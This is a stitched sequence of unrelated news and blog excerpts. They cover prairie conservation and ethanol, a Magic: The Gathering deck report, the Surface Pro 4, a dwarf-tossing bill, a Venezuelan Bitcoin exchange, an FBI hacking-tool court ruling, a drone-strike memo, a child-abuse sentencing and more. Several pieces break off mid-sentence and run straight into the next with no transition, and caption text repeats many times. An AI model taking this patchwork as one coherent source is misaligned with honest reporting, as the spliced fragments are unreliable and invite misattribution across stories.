sign in the window of the gas station down the road reads "We Love Ethanol." The Hefty Brothers are widely known among Midwestern farmers as the blond and jovial hosts of "Ag Ph.D.,'' a folksy cable TV show where they teach all the latest farming techniques and technology. Their annual farm fests draw hundreds to workshops on topics like patterned tile drainage and navigating wetland protection rules. In making the case for modern agriculture, Hefty shows a serious side that his TV fans don't always see. He also illuminates the deep philosophical divide between agriculture and conservation. Productive land, he said, is an improvement over land in its natural state. "Don't tell us what we have to do with our land," he said in an interview. "We are trying to make it better." True, he acknowledged, South Dakota is "pretty dry" compared to the rest of the Corn Belt. Still, farmers should grow corn here because the new technology and the quality of the soil allow them to grow some of the best corn on Earth. "There aren't many places better than this," he said. The latest advances in agriculture are also good for the environment, he said. Roundup Ready corn reduces soil erosion because farmers can plant with less plowing, he said. "Now I can plant seed without massive tillage."
And the new seeds, by generating higher yields per acre, mean less land has to be used to fulfill demand, he said. As a result, Hefty said, the United States has the cleanest water and one of the most productive food systems in the world. "In a good share of the world, they don't care about the environment," he said. "They want to eat." The cost Today, that sort of gruff pragmatism trumps the simple grace of the Dakota prairie, says William Moseley, a Macalester College professor who studies food security and global land use. Compared to the mountains of the west and the northern forests, "it's not a charismatic landscape," he said. "A lot of people aren't motivated to save it." Nonetheless, he and his peers argue, its environmental value is profound. First and foremost, say ecologists, is water quality. The deep-rooted native plants and the wetlands act as sponges in the great watersheds that drain into the Missouri, the Minnesota and the Platte rivers. They slow flooding and cleanse water. In the right places, on hills or as buffers between cropped fields and streams, they also act a natural filter for fertilizers, pesticides and herbicides that would otherwise drain into creeks, streams and eventually the mighty Mississippi. The grassy thickets and pothole ponds also provide a home for hundreds of species of wildlife. Ecologists often refer to the remnant native prairies as "an ark" for the many plants, insects and animals that are native to the Upper Midwest. The northern plains that include Minnesota, the Dakotas and Canada are called "the duck factory," because nearly half the nation's wetland and grassland birds are born there, and many of those species are in decline. Many other animals are already gone, especially the large creatures like elk, bison and prairie wolves. Now, the smaller ones are at risk as well. And once native prairie is plowed, it's gone, ecologists say. It takes decades of careful planting and management to restore the complex web of life that includes microbes and tiny insects invisible to the human eye. "When preserving wildlife, there are thresholds," said Joe Fargione, a prairie specialist with the Nature Conservancy. "You can keep species if you lose half or 70 percent" of an ecosystem. But if you go beyond that, you start to see losses of species. Compared to rain forest habitat, we may be closer to those critical thresholds." Perhaps least appreciated, however, is the role grasslands play in storing carbon, which, when released into the atmosphere as carbon dioxide, is a major contributor to global warming. Their vast underground root systems, which can reach depths of eight or nine feet, hold an astonishing one-third of the world's carbon stocks. That's almost as much as the amount stored by forests, according to the World Resources Institute, an environmental think tank. On average, every time an acre of grassland is plowed, it releases 60 tons of carbon dioxide into the atmosphere -- about the amount emitted annually by 30 passenger cars. Preserving grasslands as a hedge against climate change makes sense, even after considering the environmental benefits of ethanol, said Jason Hill, a University of Minnesota professor who studies grasses and biofuels. It will take a century before the carbon saved by burning corn ethanol equals the amount unleashed by plowing up the grassland used to produce it in the first place, he said. Trading grassland for ethanol, Hill argues, "is going in the wrong direction." A ribbon of prairie A century after Minnesota lost most of its native prairie, the state and 10 of its leading conservation groups now want to bring some of it back. Last month, they announced a plan to spend $3.5 billion in the next quarter-century to buy or protect 2.2 million acres of grasslands along the state's western edge. On a map, the area looks like the long-branched root of a Big Bluestem, only this one stretches from Canada to Iowa. It would include what's left of the state's native prairies, |
even an Elixir of Immortality if you need some lifegain in a pinch or just want to put the stuff in your graveyard back in your deck. It just makes me sad that we can't go find Strionic Resonator with him because this is the deck that makes the Resonator shine!
BUDGET
In total, this deck runs about 46 tix as listed above. Over 12 tix of that is the three shocklands alone, so this is certainly a budget-friendly choice as far as three color decks go. If you have a little more to spend, you could add fetchlands to further improve the manabase. If you're looking to get more competitive you could turn this into a Splinter Twin deck and add Kiki-Jiki, Mirror Breaker plus their combo friends Pestermite, Deceiver Exarch, Village Bell-Ringer, and Restoration Angel. You can also get even less expensive by replacing Venser, the shocklands, and Legion's Initiative to quickly cut the price of the deck in half.
ACTION REPORT
As I've said before, I play mostly 1v1 commander despite being happy to play multiplayer too. I play at odd hours because I have kids and so its much easier to find a 1v1 opponent and to fit a short match into my schedule. In case you think all 1v1 players are cutthroat competitive players, let me assure you that there are great many casually competitive players like myself occupying the 1v1 games. Today I suited up for battle and drew a matchup with a Yeva, Nature's Herald deck.
I keep my opening seven of Rupture Spire, Wayfarer's Bauble, Elixir of Immortality, Hallowed Fountain, Command Tower, Voidmage Husher, and Plains. It's action light but it casts Ruhan on turn 3 and I'd much rather keep a commander hand that has lots of lands than one that doesn't have many. My opponent also keeps seven and we're off to the races. I draw Venser, the Sojourner and play the Bauble. My opponent plays a turn 1 Elvish Mystic. I pop the Bauble for Mountain on turn 2 and my opponent drops Sol Ring and Vine Trellis. That's a lot of mana!
I play Ruhan on Turn 3 and my opponent just passes. Suspecting shenanigans, I drop Venser and make Ruhan unblockable. 7 points of Commander damage dealt. My opponent plays Yeva and Devoted Druid on my end step so clearly Venser is dying. My opponent plays Dungrove Elder and Swiftfoot Boots and smashes for a bunch, killing Venser as predicted. I draw Ghostway and Ruhan attacks into a flashed in Boreal Druid chump block. My opponent is clearly flooding as badly as me on all those mana dorks. Ruhan gets chumped by another dork and the Dungrove/Yeva beatdowns are knocking me low. I play and active Elixir of Immortality and give myself a bit more breathing room. I attack into another chump block and play Ghostway to give myself a blocker. Things aren't looking great.
My opponent attacks with both and I block Dungrove. Even if there's a trick, I need to try and kill Dungrove before he gets out of control. There's no trick and I've got one less threat to deal with. I draw Noggle Ransacker and double his trigger with Strionic Resonator to try and draw into more action. No action drawn, but Condemn is an option if I can deal with Swiftfoot Boots. Ransacker chumps Yeva because I'm on 14 life. Ruhan gets chumped by the last mana dork on the field and my opponent flashes in a Mold Shambler to kill the Resonator. I play Archon of Justice and pass. My opponent attacks with Yeva and I block with Archon. No trick, so I kill Yeva and exile the Boots. Ruhan is now free to swing for his second big hit and we only need one more. Yeva gets flashed back in but now has no protection from the Condemn in my hand. One tuck later and my opponent is facing down a lethal Ruhan without much left. He takes a look at his next draw and concedes. Not the most epic of games, but proof that Ruhan is a walking The Abyss in a lot of matchups.
CONCLUSION
I hope I've shown you a fun spin on a neat mechanic. In my experience this deck doesn't win as much as it produces fun outcomes. In 1v1 you get a nice boost in that Ruhan always attacks the same person, which ups the power level of the deck considerably. Meanwhile in multiplayer your random attacks aren't likely to miff anyone since you can legitimately say you had no choice. Either way, the goal is fun and epic plays.Now that Apple has joined the convertible don’t-call-it-a-laptop party with the iPad Pro, Microsoft is giving the Surface Pro a much-needed specs bump. Productivity has never been so competitive.
The Surface Pro 4 is a direct successor to the Pro 3 (duh), meaning it’s a fully-fledged laptop replacement, with a beefy and capable processor. (That’s less true of the Surface 3, Microsoft’s cheaper, thinner and slower version of the Surface).
Advertisement
Probably the most significant change is the processor: the Surface Pro 4 has a G5 chipset, designed by Microsoft. We don’t know much about the actual details, apart from that it’s apparently 50% faster than a Macbook Air, or 30% faster than a Pro 3.
Specs include ‘up to’ 16GB of RAM and 1TB of solid-state storage, an 8-megapixel rear camera, and a larger trackpad on the keyboard accessory. That’s a good change—I’ve always found the trackpad to be an afterthought on the Surface keyboards.
Advertisement
But the insides isn’t the most exciting thing about this new Surface: that would be those bezels, which barely even exist. The Pro 4 has a 12.3” screen, but it’s the same size as its 12-inch predecessor.
While things are being shrunk, let’s talk about the body: thanks to a new cooling system, it’s a little thinner: 8.4mm vs 9.1mm for the Pro 3.
The screen has a resolution of 267ppi. That’s exactly three pixels per inch more than the iPad Pro, by the way. Also, the Gorilla Glass is the thinnest ever on a tablet, at 0.4mm. Thinner glass is almost always a good thing, because the thinner the glass, the better the touch (and digital pen!) experience.
Advertisement
Speaking of the pen: Microsoft’s going all-out with its stylus on this edition of the Surface. The new pen has all-year battery life, interchangeable tips with different feel and sensitivity. Want a stylus that feels like a pencil, or a felt tip, or a ballpoint? Microsoft has you covered. Oh, and finally, there’s a magnetic dock for the pen.
Another new accessory is the Surface Pro docking station. It connects with a cable, and pumps out four USB 3.0 ports, two 4K DisplayPort connectors, and Ethernet as well. (Yes, it is backwards-compatible with the Pro 3.)
Advertisement
In case you needed more new accessories: the iconic Surface keyboard cover is getting an update. It’s the same fabric-style, magnetic-connecting keyboard, but now with a backlit keyboard with deeper key travel. Oh, and because it’s 2015, you get a fingerprint reader.
Pricing starts at $900 (presumably without accessories), with pre-order open tomorrow, and full rollout on October 26.
AdvertisementRep. Ritch Workman is a regulation-chopping Republican lawmaker who says yes to liberty, personal freedom and "dwarf-tossing," but no to gay marriage, medical marijuana and other libertarian causes.
The Florida state representative is battling Big Brother in some, but not all of its forms. In his quest to eliminate what he describes as unnecessary Sunshine State laws, Workman has exposed himself to controversy this month by pushing to legalize "dwarf-tossing."
Make no mistake, Workman is no fan of the banned bar competition in which little people are literally turned into human shot puts.
"It's a barbaric activity," said Workman, first elected to the statehouse in 2008 to represent Melbourne, a city of 78,000 residents east of Orlando.
"But they [little people] don't need government to decide for them," he added. "This is insulting. Their actions aren't endangering anybody else. For every law that's on the books a little piece of your liberty and freedom is lost."
But don't ask Workman to advocate for gay marriage, medical marijuana or prostitution.
"I'm not a libertarian," Workman said. "Prostitution and drug abuse are not situations that don't affect anyone else. Prostitution spreads communicable diseases. Medical marijuana is just a way to legalize marijuana and we don't need to give our kids other things to get high on."
"I understand the almost-irony of me fighting to remove this ban [on dwarf-tossing] and my not wanting to legalize drugs and prostitution," Workman said. "I don't see them as parallels."
Workman, who says he is a Christian, said he wasn't interested in writing a state constitutional amendment allowing same-sex marriages either. He does, however, favor legalizing adultery among heterosexual couples.
There are other prohibitions and illicit activities that Workman said he sees as pointless intrusions on personal freedom. He's introduced bills this term that would repeal the statutes banning beer bottle collections and requiring bicyclists to ride with at least one hand on the handlebars at all times. Another Workman number would allow unmarried men and women to legally live together.
The chances of scrapping these allegedly inane measures are not promising. Workman said he doesn't expect a sponsor to emerge in the state Senate for the bills, because there's little to be gained politically by tackling the obscure topics.
Nothing's whipped up more controversy than his bill to lift the 22-year-old ban on "dwarf-tossing," an activity that took root in some bars around the state in the 1980s.
Complaints and criticism have flooded his office, he said, especially from little people around the country. The Little People of America launched an Internet petition to voice disapproval of his idea.
"The issue with dwarf-tossing is it objectifies the entire little person community," said Jennifer Arnold, the 3-foot-2-inch co-star of the reality show "The Little Couple." Arnold, who has dwarfism, is now a Texas pediatrician, but grew up in Florida when "dwarf-tossing" was legal.SurBitcoin, the first Bitcoin exchange platform in Venezuela, announced its launch on August 15 during the Impact Hub Caracas Bitcoin conference.
- Exchange's Homepage
According to the PanamPost, New-York-based brothers Kevin and Victor Charles, decided to start this project after a meeting with Rodrigo Souza, a native Brazilian software developer and entrepreneur based in NY.
Souza co-founded BlinkTrade, an open-source Bitcoin trading platform that enables anyone to create his/her own exchange with a counterparty 0.6% transaction fee.
SurBitcoin uses BlinkTrade's open-source exchange platform. The project is still at a beta version, but Venezuelans can already register on the platform. The two brothers are waiting for the member database to reach 200 users before starting trades. Kevin Charles said:
"We are very excited to move forward with this project. Bitcoin has potential to grow in Venezuela."
- The Team
In Venezuela, Bitcoin's popularity is growing, and the digital currency's volatility is not a cause for concern for its population as inflation reached 142% between 2013 and 2014, according to a study conducted by the Cato Institute called The Troubled Currencies Project. Also, the brothers estimate that 70% of Venezuelans are unbanked and believe that Bitcoin could considerably help improve living conditions.
Unlike Bolivia and Ecuador, Venezuela's government hasn't taken a position on Bitcoin, and the two brothers truly believe the future of cryptocurrencies in the country depends on the conduct of SurBitcoin:
“We have to be extremely transparent and thorough in checking users who open an account with us. We will take money-laundering regulations into account, so that drug traffickers cannot use our platform.”
The exchange requires users to provide their ID and physical address. The personal information is verified through Venezuela's electoral registry and only then the accounts are activated and ready for trading with cryptocurrency.
Coin HR - the best way to find a perfect job or an applicant for your vacancy. We connect talent with opportunity!Google’s Android app marketplace, Google Play, has seen significant revenue growth this year, fueled in large part by Japan and South Korea. In a new report released today by app store analytics firm Distimo, the company found that Google Play’s revenue grew by 67 percent over the past six months, while Apple’s App Store revenue grew by just 15 percent during the same time frame.
While these numbers reflect the impact Android’s massive market share is having on the app industry, it’s worth noting that of the two app stores, the Apple App Store’s market is still the largest, and continues to see more than two times the revenue of Google Play.
That latter figure varies a bit from an earlier report put out by competing analytics firm App Annie in April, which found that Apple’s App Store earned around 2.6 times more revenue in the preceding quarter. But not only do the firms’ methodologies differ in general, Distimo looked at the earnings of all ranked apps in the 18 largest countries over 6 months, while App Annie’s data was, as noted above, for the quarter.
That being said, Google Play’s revenue growth is notable. While only 25 percent of the revenue from the two stores combined came from Google Play in February 2013, this went up 8 percentage points to reach 33 percent by July.
Japan & South Korea Fuel Google Play Revenue Growth
Overall, the U.S. still spends the most money on apps, followed by Japan and South Korea, who were the main contributors to Google Play’s revenue share. After the top three, were the U.K., Australia, Germany, Canada, France, Russia, and Italy. (One interesting side note here is that in Russia, more money was spent in the App Store for the iPad, than in the App Store for the iPhone.)
In terms of the top revenue-generating apps this past month, Google Play’s list reflects its heavy footprint in Japan and South Korea in particular. Though King.com’s Candy Crush Saga still reigns at number one, it’s followed by Japan’s Puzzles & Dragons, two apps for South Korea’s Kakao at spots #3 and #5, and Japan’s LINE at number 4.
Meanwhile, the top revenue-generating apps in the Apple App Store, in order, were: Candy Crush, Clash of Clans, Hay Day, Puzzles & Dragons, and The Hobbit: Kingdoms of Middle-Earth.
In terms of paid apps, Apple’s app store was largely games with the exception of WhatsApp in spot #4, while Google Play was a mix of games and utilities (like a keyboard, backup service, and launcher).
More details on top publishers, free apps, and more are in the full report.Mika Brzezinski on Wednesday said President Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE “crossed another deeply disturbing line” with his tweet appearing to reference the death of a woman who worked for her MSNBC co-host, former Rep. Joe Scarborough (R-Fla.), when he was a member of Congress.
“I’ll speak for Joe and myself here because Joe has stated that responding to President Trump’s tweets are a waste of his time. Today the president crossed another deeply disturbing line,” Brzezinski said in a statement obtained by New York Magazine.
ADVERTISEMENT
Her statement comes after Trump early Wednesday appeared to call for an investigation into the 2001 death of Lori Klausutis, who was an aide to Scarborough in Florida.
“And will they terminate low ratings Joe Scarborough based on the ‘unsolved mystery’ that took place in Florida years ago? Investigate!” Trump wrote on Twitter.
So now that Matt Lauer is gone when will the Fake News practitioners at NBC be terminating the contract of Phil Griffin? And will they terminate low ratings Joe Scarborough based on the “unsolved mystery” that took place in Florida years ago? Investigate! — Donald J. Trump (@realDonaldTrump) November 29, 2017
The St. Augustine Record in 2001 reported that Klausutis, who managed constituent services for Scarborough, died after falling unconscious and hitting her head due to a heart condition.
Brzezinski, who is also engaged to Scarborough, said Trump’s tweet pushed “a false conspiracy theory to intimidate the press and cause a chilling effect on the 1st Amendment.”
“Joe and I are not intimidated and his bizarre behavior contravenes both the Constitution and basic moral judgment,” she added. “This is all we are going to be saying on the matter. We continue to focus on more pressing issues like the nuclear conflict with North Korea. We hope the president will do the same.”
The medical examiner said the aide was not aware of her heart condition.
"The head injury which represents the immediate cause of death was clearly as a result of an unprotected fall in a person who had lost consciousness or was losing consciousness from a probable cardiac arrhythmia,'' Dr. Michael Berkland said at the time, according to the newspaper.A prominent Melbourne dentist has taken defamation action against a patient who posted a scathing online review after claiming he was quoted $1200 for a filling that would take only 45 minutes.
Carlton resident Mark Robert Bradbury gave Smile Solutions a one-star rating on the practice's Google listing page before launching a personal attack on the business' owner and director, Kia Pajouhesh.
Dr Kia Pajouhesh in his office at the Manchester Unity building. Credit:Arsineh Houspian
"The greedy owner drives a Bentley and brags about his private box at the footy... yet his motto is 'we see things from the patient's perspective'. Hmm... the only thing this lot see is the size of your wallet," wrote Mr Bradbury, according to a Supreme Court writ.
Based in the Manchester Unity building in Collins Street, Smile Solutions was founded by Dr Pajouhesh 24 years ago and has become one of the nations's largest private dental practices, with almost 50 dentists, specialists and hygienists.Last week the team behind AltSpaceVR, one of the most popular social VR, announced it would be closing down next month. The company had run into funding problems, and outlined in a frank blog post how it had struggled to secure a new funding round. Linden Lab is hoping to avoid a similar fate through its unique business model, which involves taking a small cut of marketplace purchases. With Sansar, anyone can design and upload a virtual object — a chair, a car, anything really — and then sell it to other users. The recipient can then use it to speed-build their own experience, whether it's a private home or a bombastic game for the public.
Everyone can create three personal lots, or "experiences," for free. The "Creator" subscription, which costs $9.99 per month, takes that to five and promises speedier customer support over email. The "Super Creator" tier, meanwhile, comes with 10 experiences, even faster email responses and live web chat. The "Professional" package, finally, grants you 20 experiences, email, web chat and phone support for $99.99 per month. Pricing could change in the future, however, depending on user feedback during the creator beta. Linden Lab says it's also working on entrance fees, so creators can charge users access "on the door" for specific experiences.
Inside Sansar, you can create an avatar, speak to other people and pick up objects — the usual social MMO fare. While it's playable with a monitor, mouse and keyboard, Linden Lab has clearly designed it with VR headsets in mind. Last year, I tried an early build with an Oculus Rift and two Touch controllers, chatting with chief executive Ebbe Altberg from opposite sides of the planet. It's a novel experience that Facebook has since tried to replicate with its VR app Spaces. The difference with Sansar is its deep, but newcomer-friendly level builder; Linden Lab hopes everyone will craft their own experiences that slowly attract new people to the platform.
Still, it's unclear how popular virtual reality will become. Oculus Rift and HTC Vive sales are stable, but slower than some people expected. Linden Lab is bullish about the medium's future, but it's telling that Sansar is also playable through a laptop or PC. If you want to try the beta out for yourself, the Sansar app is available to download through the company's website.The Cincinnati Reds have been very lucky so far this season. They have used the same five pitchers for every start. Actually, they have been so lucky that they have only had one pitcher (Johnny Cueto) miss a start. That has been the case all season, until this week. MLB Rumors has it that when the Reds and the Chicago Cubs play a double-header on the 18th, the Reds will have to start a sixth pitcher for the season. MLB Rumors is that pitcher will beTodd Redmond.
It is a logical rumor for Redmond to be the 6th starter. He is on the expanded 40 man roster and has been called up from Louisville two times already. However, Redmond has yet to see time on the mound during a game. That should end on Saturday.
The Reds made a move with the Atlanta Braves to pick up Redmond back on July 14th. Redmond had been with the Braves’ AAA team in Gwinnett. He had been called up by the Braves a couple times last season, but didn’t see any time with them.
This season the 6′ 3″, 215 lbs. righthanded Redmond is sporting an 8-9 record with an ERA of 3.54 in 23 games between the two teams. Impressively, he is averaging almost 1 strikeout per inning pitched (134/125). He has allowed 34 walks this season (a little high there); however, since coming over to the Reds he has only walked 6 batters and struck out 29 in 29 innings pitched. So recent history shows that Remond is getting a handle on his control.
The Reds will definitely have to make a move to bring another pitcher up to start one of the double-header games. Clearly Dusty Baker is not going to move any of his starting five up a day to pitch. So it appears that Redmond will finally get his shot, if for just one day.
Stay tuned to RantSports for more MLB Rumors.Gh3 have completed in 2007 the Photographer’s Studio project, a glass house situated on the edge of the Stony Lake, in Ontario, Canada.
Description:
“A photographer’s studio over a boathouse on Stony Lake is a re-imagination of the archetypal glass house in a landscape in the Canadian Shield. A continuation of thinking about this architectural ambition, the central concept of the house is reconceived through a contemporary lens of sustainability, program, site and amenity. The compelling qualities of simple, open spaces; interior and exterior unity and material clarity are transformed to enhance the environmental and programmatic performance of the building, creating architecture of both iconic resonance and innovative context–driven design.
The program envisions a building as north–facing window: a photographer’s live/work studio and film location that is continuously bathed in diffuse and undiminished natural light. The transparent facade—a curtain wall glazed in low-iron glass—becomes the essential element in a photographic apparatus to produce images unobtainable in a conventional studio. The availability and fidelity of north–facing light in the double-height space provide the photographer with unparalleled natural illumination, while the clarity of the glazing transforms the site and surrounding vistas into a sublime, ever–changing backdrop.
The compact glass form sits at the water’s edge on a granite plinth whose matte black facade dematerializes to suspend the building, lantern-like, on the site. The granite’s thermal mass exploits the abundant solar input, eliminating the need for active systems on winter days, while the lakefront site allows the use of a deep-water exchange to heat and cool the building year–round through radiant slabs and recessed perimeter louvers at the floor and ceiling. Sliding panes in the glass skin—three metres wide at the ground floor, and one and a half metres wide on the mezzanine floor—allow the facade to become completely porous for natural ventilation, while an individually automated blind system, white roof, and deciduous hedgerow guard against excessive solar gain. The continuous blind system additionally serves as a second aesthetic skin, transforming the interior into an enclosed, intimate space, and the exterior into a gently reflective mirror of the surroundings.
Entry into the site is facilitated through a minimalist landscape that deploys endogenous materials while leaving the greatest portion of the site in its evocative, glacier-scoured state. A simple granite plinth serves as threshold for the south-facing entrance, where solid program functions and vertical circulation are arranged in a narrow, efficient volume. From the outset, the goal was to accommodate the client’s needs within a small footprint. Domestic functions are integrated into a furniture-like mezzanine assembly suspended above the main space, where bedroom, bathroom and closet are coextensive, and sliding fritted glass allows the whole to be concealed from the rest of the space. Throughout the upper and lower levels, interior partitions are clad with seamless white lacquered panels whose reflective qualities diffuse light into every part of the interior and create complex layered views through the space.”
Photos by Larry Williams1 of 11 View Caption
Lee Davidson | The Salt Lake Tribune Buses from the Cache Valley Transit District pick up passengers at Logan's Transit Center. Lee Davidson | The Salt Lake Tribune Buses from the Cache Valley Transit District pick up passengers at Logan's Transit Center. Lee Davidson | The Salt Lake Tribune Buses from the Cache Valley Transit District pick up passengers at Logan's Transit Center. Francisco Kjolseth | The Salt Lake Tribune As the crowds descend on Park City for the Sundance Film Festival, buses keep a steady Francisco Kjolseth | The Salt Lake Tribune As the crowds descend on Park City for the Sundance Film Festival, buses keep a steady Francisco Kjolseth | The Salt Lake Tribune As the crowds descend on Park City for the Sundance Film Festival, buses keep a steady Francisco Kjolseth | The Salt Lake Tribune As the crowds descend on Park City for the Sundance Film Festival, buses keep a steady Francisco Kjolseth | The Salt Lake Tribune As the crowds descend on Park City for the Sundance Film Festival, buses keep a steady Francisco Kjolseth | The Salt Lake Tribune As the crowds descend on Park City for the Sundance Film Festival, buses keep a steady Francisco Kjolseth | The Salt Lake Tribune As the crowds descend on Park City for the Sundance Film Festival, buses keep a steady Francisco Kjolseth | The Salt Lake Tribune As the crowds descend on Park City for the Sundance Film Festival, buses keep a steadyPhoto: FBI/Facebook
Last week, a judge ruled that defense lawyers in an FBI child pornography case must be provided with the full code of the malware used to hack their client's computer, including the exploit used to bypass the security features of the Tor Browser.
But the reasoning behind that decision was focused on anything but the technical elements of the case. According to a transcript of the relevant hearing, judge Robert J. Bryan boiled the issue down to its more fundamental, constitutional elements.
"Much of the details of this information is lost on me, I am afraid, the technical parts of it, but it comes down to a simple thing," Bryan said. "You say you caught me by the use of computer hacking, so how do you do it? How do you do it? A fair question."
"And the government should respond under seal and under the protective order, but the government should respond and say here's how we did it," he continued.
The hearing was in response to a third motion to compel discovery filed by the defense of Jay Michaud, a Vancouver public schools administration worker. Michaud was arrested after the FBI seized 'Playpen', a hugely popular child pornography site on the so-called dark web.
Since September, Michaud's lawyers have been trying to get access to the full NIT code
Instead of shutting the site down straight away, however, the FBI briefly ran it from their own servers in order to deploy a network investigative technique (NIT)—the agency's term for a hacking tool.
This NIT launched against any user who visited specific threads of the forum, according to an FBI Special Agent who worked on the investigation, and the malware sent the targets' IP address, MAC address, operating system and architecture, the computer's username, and some other technical information.
Motherboard found that computers as far a field as Greece, Chile and likely the UK have been infected.
Since September, Michaud's lawyers have been trying to get access to the full NIT code. In January, they received some, but it was incomplete, missing, amongst other things, the section that would ensure that the identifier issued to Michaud's NIT-infection was unique, and the exploit that was used to bypass his web browser. This information is necessary for determining whether the NIT carried out other actions beyond those mentioned in the government's description of the code, the defense has said.
In filings and hearings, the Department of Justice has said that the defense has declined discovery that would allow them to verify the accuracy of the information gathered by the NIT, and that the requested discovery has no bearing on the huge collection of child pornography found on the suspect's USB thumb drives and mobile phone.
Regardless, judge Bryan felt it was important that, at bottom, the defendant still gets the opportunity to find out more about how he was identified.
"So, you know, I guess what I am saying is that this whole thing didn't seem that complex to me," he said.
The full transcript of the hearing is embedded below.BY: Follow @HashtagGriswold
The CNBC Facebook page asked its followers on Tuesday whether they agreed with the terrorist organization the Islamic State.
"Do you agree with ISIS?" asked the post, which linked to a story with the headline "Islamic State says US ‘being run by an idiot.'"
"You [the U.S.] are bankrupt and the signs of your demise are evident to every eye," said ISIS spokesman Abi al-Hassan al-Muhajer in a new recording. "There is no more evidence than [that] you being run by an idiot who does not know what Syria or Iraq or Islam is."
Most recently, ISIS claimed responsibility for the March terrorist attack on the British Parliament. "The perpetrator of the attacks yesterday in front of the British Parliament in London is an Islamic State soldier and he carried out the operation in response to calls to target citizens of the coalition," they said in a statement.
Needless to say, most of the Facebook comments do not agree with ISIS. "Our ‘idiot…' is going to wipe you off the face of the earth," reads the top comment, left by a supporter of President Donald Trump.
Even Trump critics weren't about to give ISIS any credit. "Just pointing out the obvious does not make them any smarter," one Facebook user wrote.The killing of al-Qaeda leader Anwar al-Awlaki generated a surprising amount of controversy. The US had used drones to kill scores of AQ leaders and followers in Pakistan, Afghanistan, and Yemen before Awlaki and afterward. However, Awlaki was a US citizen, and the targeting of an American citizen by the government was considered a new step — and not necessarily a good one. The demand for a controlling procedure began to grow, amplified ironically by Barack Obama himself when the New York Times reported that he tried to rush rules into place for drone use in case Mitt Romney won the election, only to lose interest when it became clear he would win.
Unfortunately, that didn’t stop people from demanding to know how exactly the Obama administration protected the rights of Americans and ensured that a drone strike on a US citizen was undeniably justified. A leak from the Department of Justice makes it clear that it’s not clear at all:
The secrecy surrounding such strikes is fast emerging as a central issue in this week’s hearing of White House counterterrorism adviser John Brennan, a key architect of the drone campaign, to be CIA director. Brennan was the first administration official to publicly acknowledge drone strikes in a speech last year, calling them “consistent with the inherent right of self-defense.” In a separate talk at the Northwestern University Law School in March, Attorney General Eric Holder specifically endorsed the constitutionality of targeted killings of Americans, saying they could be justified if government officials determine the target poses “an imminent threat of violent attack.” But the confidential Justice Department “white paper” introduces a more expansive definition of self-defense or imminent attack than described by Brennan or Holder in their public speeches. It refers, for example, to what it calls a “broader concept of imminence” than actual intelligence about any ongoing plot against the U.S. homeland. “The condition that an operational leader present an ‘imminent’ threat of violent attack against the United States does not require the United States to have clear evidence that a specific attack on U.S. persons and interests will take place in the immediate future,” the memo states. Instead, it says, an “informed, high-level” official of the U.S. government may determine that the targeted American has been “recently” involved in “activities” posing a threat of a violent attack and “there is no evidence suggesting that he has renounced or abandoned such activities.” The memo does not define “recently” or “activities.” As in Holder’s speech, the confidential memo lays out a three-part test that would make targeted killings of American lawful: In addition to the suspect being an imminent threat, capture of the target must be “infeasible, and the strike must be conducted according to “law of war principles.” But the memo elaborates on some of these factors in ways that go beyond what the attorney general said publicly. For example, it states that U.S. officials may consider whether an attempted capture of a suspect would pose an “undue risk” to U.S. personnel involved in such an operation. If so, U.S. officials could determine that the capture operation of the targeted American would not be feasible, making it lawful for the U.S. government to order a killing instead, the memo concludes. The undated memo is entitled “Lawfulness of a Lethal Operation Directed Against a U.S. Citizen who is a Senior Operational Leader of Al Qa’ida or An Associated Force.” It was provided to members of the Senate Intelligence and Judiciary committees in June by administration officials on the condition that it be kept confidential and not discussed publicly.
So let’s just recap. The US can target a US citizen if they believe a threat to be “imminent” even when no threat of attack is immediately present. The target must have recently been involved in activities, with no real definition of “activities” or “recently.” And rather than prove that the US citizen plans to continue these “activities,” it’s up to the citizen to prove to a single US official that no one knows that he’s renounced and/or abandoned such “activities” — activities that the government won’t define, to an official the government won’t name.
Awlaki was an easy case. He publicly and explicitly encouraged terrorist acts, recruited new members to carry them out, and was connected to plots that actually went into action. But this memo goes way beyond the Awlaki instance and basically gives the government carte blanche to target Americans in whatever it considers to be the battlefield for almost any kind of “threat” it imagines.
Surely we can do better than this to find a hard line between the case of Awlaki and no line at all. And surely Congress can press John Brennan about this point during his confirmation hearing to the post of CIA Director.
Update: It looks like the Senate may be getting serious about this issue, too:Marco Rubio criticized Snoop Dogg after his video came out showing him assassinating a clown dressed up like President Donald Trump.
On Monday, TMZ caught up with the Florida Republican senator outside of Regan National Airport in Washington, D.C., where he explained that it was crossing a line to mock shoot the president of the United States and questioned exactly what the rapper was thinking. (RELATED: Snoop Dogg Pulls A Gun On Donald Trump Clown In New Music Video)
WATCH:
“Snoop shouldn’t have done that you know, ” Rubio said. “I mean we have had presidents assassinated before in this country, so anything like that you should really be very careful about.”
“Well again, I think people can disagree on policy, but you have got to be very careful about that kind of thing,” he added. “Because the wrong person sees that and gets the wrong idea and you can have a real problem. So, you know I’m not sure what Snoop was thinking. He should think about that a little bit.”
On Sunday, the 45-year-old rapper released the video for his song “Lavender.” In the clip, he was standing in the street and aims a toy gun at the clown dressed up like Trump and fires.
WATCH:
“The ban that this motherfucker tried to put up; him winning the presidency; police being able to kill motherfuckers and get away with it; people being in jail for weed for 20, 30 years and motherfuckers that’s not black on the streets making money off of it–but if you got color or ethnicity connected to your name, you’ve been wrongfully accused or locked up for it, and then you watching people not of color position themselves to get millions and billions off of it,” the rapper said in a recent Billboard interview.
“It’s a lot of clown shit going on that we could just sit and talk on the phone all day about, but it’s a few issues that we really wanted to lock into [for the video] like police, the president and just life in general,” he added.Paedophile paramedic sentenced to 13 years' jail for sexual abuse of 22 girls across three states
Updated
A former Queensland ambulance officer has been sentenced to 13 years in jail for "depraved" sexual abuse of 22 young girls across several states over a 10-year period.
The victims of 49-year-old Jason David Brooker were in Queensland, New South Wales and Victoria, with the youngest being 11 years old.
Brooker, who |
the prorated minimum. Not that Cruz didn't have his issues. His WHIP was incredibly high and he can, at times, be really bad. But he probably was worth at least a try. At least he had managed to keep runs off the board this season.
